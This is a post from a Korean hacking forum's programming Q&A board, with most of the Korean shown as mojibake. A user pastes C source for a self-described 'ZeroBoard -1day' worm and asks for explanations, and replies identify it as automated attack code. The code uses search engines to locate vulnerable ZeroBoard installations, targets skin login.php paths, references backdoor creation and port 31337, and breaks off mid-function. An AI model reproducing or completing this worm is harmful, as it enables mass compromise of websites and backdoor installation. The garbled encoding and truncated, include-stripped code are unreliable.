ÇÁ·Î±×·¡¹Ö

 3206, 1/161 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   tlqaksqhr
   ¿¬±¸ÇÏ·Á°í Æۿ¾¾Ë¼ö¾ø´Â ¼Ò½º....

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=1144 [º¹»ç]


¿©±â°í¼öºÐµé.. À̼ҽº Çؼ®Á» ºÎŹµå·Á¿©...
(ÁÖ¼®À»´Þ¾Æ¼­...)

¼Ò½º´Â ¾Æ·¡¼­ºÎÅͽÃÀÛÇÕ´Ï´Ù...


_______________________________________________________________________________

/*
** ZeroBoard -1day INE w0rm
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef __sun__
#include
#endif /* __SunOS__ */

#define DEBUG_ING
#undef DEBUG_ING

#define TMP_FILE "./tmp.core"
#define CMD_FILE "./cmd.core"
#define PRC_FILE "./proc.core"
#define SCS (0)
#define MIN (1)

#ifdef __linux__
#define DEF_ETH "eth0"
#else
#ifdef __FreeBSD__
#define DEF_ETH "ed0"
#else
#ifdef __sun__
#define DEF_ETH "hme0"
#endif
#endif
#endif

#define MAX_BUF (0x0000ffff)
#define FIR_BUF (0x00000800)
#define SEC_BUF (0x00000400)
#define THR_BUF (0x00000200)
#define MIN_BUF (0x00000100)

#define VENDOR "nzeo.com"

// search rule
#define FD_RULE_0 "/zboard/zboard.php"
#define FD_RULE_1 "/zb41/zboard.php"
#define FD_RULE_2 "/bbs/zboard.php"
#define FD_RULE_3 "/zb/zboard.php"
#define FD_RULE_4 "/zb40/zboard.php"
#define FD_RULE_5 "/board/zboard.php"
#define FD_RULE_6 "zboard.php"
#define FD_RULE_7 "zboard.ph"

// pattern
#define FD_PATH_0 "/zboard/skin/zero_vote/login.php"
#define FD_PATH_1 "/zb41/skin/zero_vote/login.php"
#define FD_PATH_2 "/bbs/skin/zero_vote/login.php"
#define FD_PATH_3 "/zb/skin/zero_vote/login.php"
#define FD_PATH_4 "/zb40/skin/zero_vote/login.php"
#define FD_PATH_5 "/board/skin/zero_vote/login.php"
#define FD_PATH_6 "/skin/zero_vote/login.php"

#define RESULT_OK "200 OK"
#define MAKE_STR1 "BACKDOOR MAKE SUCCESS"
#define MAKE_STR2 "ZBCODE MAKE SUCCESS"
#define DELT_STR1 "BACKDOOR DELETE SUCCESS"
#define DELT_STR2 "ZBCODE DELETE SUCCESS"

#define DEF_PORT (31337)
#define CONN_PORT (80)
#define DEF_TIME (20)

int set_sock(char *sc_gt_host,int port,int type);
void re_connt_lm(int st_sock_va,int type);
int proc_r();
void t_kill();
void sf_exit();
int g_ip(char *ip);
int make_cmd_file();
int filter_f(char *test_bf,int tnum);

int sock;

struct tg_rl
{
int r_num;
char *r_str;
char *url_str;
};

#define TARGET_NUM (7)
#define SEARCH_NUM (4)

struct tg_rl __tg_rule_va[]=
{
{0,FD_RULE_0,FD_PATH_0},
{1,FD_RULE_1,FD_PATH_1},
{2,FD_RULE_2,FD_PATH_2},
{3,FD_RULE_3,FD_PATH_3},
{4,FD_RULE_4,FD_PATH_4},
{5,FD_RULE_5,FD_PATH_5},
{6,FD_RULE_6,FD_PATH_6},
{7,FD_RULE_7,FD_PATH_6},
{8,NULL,NULL}
};

struct search_rule
{
int num;
u_char *url;
int maxnum;
int defnum;
u_char *http_head;
};

struct search_rule search_va[]=
{
{0,"www.google.com",990,10,"http://"},
{1,"kr.search.yahoo.com",990,15,"http://"},
{2,"search.nate.com",480,10,"http://"},
{3,"search.lycos.com",990,10,"//"},
{4,"kr.altavista.com",1000,10,"//"},
{5,NULL,0,0,NULL}
};

void t_kill()
{
#ifdef DEBUG_ING
fprintf(stdout,"time outn");
#endif
close(sock);
sock=-1;
signal(SIGALRM,SIG_DFL);
return;
}

void sf_exit()
{
#ifdef DEBUG_ING
fprintf(stdout,"safe exitn");
#endif
close(sock);
kill((int)proc_r(),9);
unlink(TMP_FILE);
unlink(CMD_FILE);
unlink(PRC_FILE);
exit(-1);
}

int main(int argc,char *argv[])
{
FILE *fp;

int tnum=(SCS);
int chk=(SCS);
int gogo=(SCS);
int whgl=(SCS);
int qnum=(SCS);
int tgrl_sl=(MIN);
int _conn_num=(SCS);
int port=(CONN_PORT);
int def_port=(DEF_PORT);
int sc_gt_sock;
int host_chk=(SCS);

u_char *gg_ptr=NULL;
u_char *t_ptr=NULL;
u_char __zr_bf[(MAX_BUF)];
u_char *port_ptr=NULL;

char pkt[(FIR_BUF)];
char host[(SEC_BUF)];
char url[(SEC_BUF)];
char test_bf[(MAX_BUF)];
char req_t_bf[(THR_BUF)];
char ip[(MIN_BUF)];
char atk_code[(MIN_BUF)];

signal(SIGINT,sf_exit);
signal(SIGTSTP,sf_exit);

while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF)
{
extern char *optarg;
switch(whgl)
{
case 'S':
case 's':
tnum=atoi(optarg);
if(SEARCH_NUM


  Hit : 6677     Date : 2006/07/31 12:18



    
moongchiza ÀÌ°Ô ¹¹Çϴ°ŵ巡¿ä?? 2006/08/01  
pr0sp3r Á¦·Îº¸µå 4.1pl7 ÀÌÇÏ Á¦·Îµ¥À̾îÅà ÄÚµåÀÎµí ½Í³×¿ä.. °¢Á¾ °Ë»ö¿£ÁøÀ»ÀÌ¿ëÇØ Ãë¾àÇÑ ¹öÀüÀ» ã¾Æ¼­ ÀÚµ¿°ø°ÝÇÏ´Â ¼Ò½ºÀÔ´Ï´Ù;;;; 2006/08/01  
ChuRack Äð·°...! 2006/09/15  
3206   ¿ÞÂÊ ¸Þ´º Åͺ¸ C 2.0[2]     hackerÅ×µð
08/06 3378
3205   ¿øµµ¿ì ÇØÅ· À̶õÃ¥À» ¸·±¸ÀÔÇؾ¹´Ï´Ù.[3]     speedll
03/20 3932
3204   ¿ø°Ý ¸ð´ÏÅ͸µ ±¸Çö¿¡ °üÇÏ¿©..[1]     intmain1202
09/22 2868
3203   ¿øÇüÅ¥¿¡°üÇÑ ¼Ò½ºÁ»ºÎŹµå¸³´Ï´Ù[1]     mire003
04/07 4829
3202   ¿¹Àü ÇØÄ¿½ºÄð¿¡¼­ ³ª¿Â CÃ¥¿¡¼­..[7]     nescafe90
02/02 3117
3201   ¿µÈ­ '¹èƲ·Î¾â'À» º¸¸éÀº¿ä...[7]     JJang777
02/29 2754
3200   ¿°Ä¡ºÒ±¸ÇÏ°í Áú¹®¿Ã¸³´Ï´Ù[10]     ½È¾î ³»°¡ÇÒ²¨¾ß
03/05 3641
3199   ¿­°­ ¿¬½À¹®Á¦ 8-2 ¹®Á¦ 1][3]     capt_0669
09/07 4424
3198   ¿­Ç÷°­ÀÇc Áú¹®ÀÌ¿ä[5]     goldbear564
03/04 3397
3197   ¿­Ç÷°­ÀÇC 7°­ÀÇ 7-1 ¹®Á¦ 3¹øÀÌ¿ä[1]     goldbear564
03/13 3424
3196   ¿­Ç÷°­ÀÇÁß Àç±ÍÇÔ¼öÁú¹®Á»¿©[3]     tolta
01/07 3061
3195   ¿­Ç÷°­ÀÇ µµÀü ÇÁ·Î±×·¡¹Ö ¹®Á¦[2]     shfwk2002
04/04 3532
3194   ¿­Ç÷°­ÀÇ cÇÁ±×·¡¹Ö »ò´Âµ¥¿ä. ¸®´ª½º¿¡¼­ »ç¿ë °¡´É?[6]     djtjfxm1492
08/24 2760
3193   ¿­Ç÷°­ÀÇ c ÇÁ·Î±×·¡¹Ö¿¡¼­ ...[6]     ¾ÓÀ׿Ë
07/21 3413
3192   ¿­Ç÷ CÇÁ·Î±×·¡¹Ö °øºÎÇÏ´Ù°¡ ¸Þ¸ð¸®¿¡ ´ëÇؼ­ Áú¹® µå¸³´Ï´Ù. [3]     espoir
01/28 3118
3191   ¿­Ç÷ C ÇÁ·Î±×·¡¹Ö µ¶ÇÐÀ¸·Î ´Ù ³¡³»°¡´Âµ¥ ±×´ÙÀ½¿¡ ¹«½¼ Ã¥ °øºÎÇؾßÇϳª¿ä??[2]     kevin961119
04/02 3217
3190   ¿¬»êÀÚ¿¡ °üÇØ Áú¹®ÀÌ ÀÖ¾î ¿Ã¸³´Ï´Ù.[2]     linukers
07/28 2939
3189   ¿¬»êÀÚ ¿ì¼±¼øÀ§ Áú¹®ÀÖ¾î¿ä.[4]     hanhwi
01/31 2706
3188   ¿¬µ¿ÇÁ·Î±×·¥Áú¹®Àε¥,Çѹø¾¿ µé·¯ÁÖ¼¼¿ä![1]     cndygks1030
09/12 3279
  ¿¬±¸ÇÏ·Á°í Æۿ¾¾Ë¼ö¾ø´Â ¼Ò½º....[3]     tlqaksqhr
07/31 6676
1 [2][3][4][5][6][7][8][9][10]..[161]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org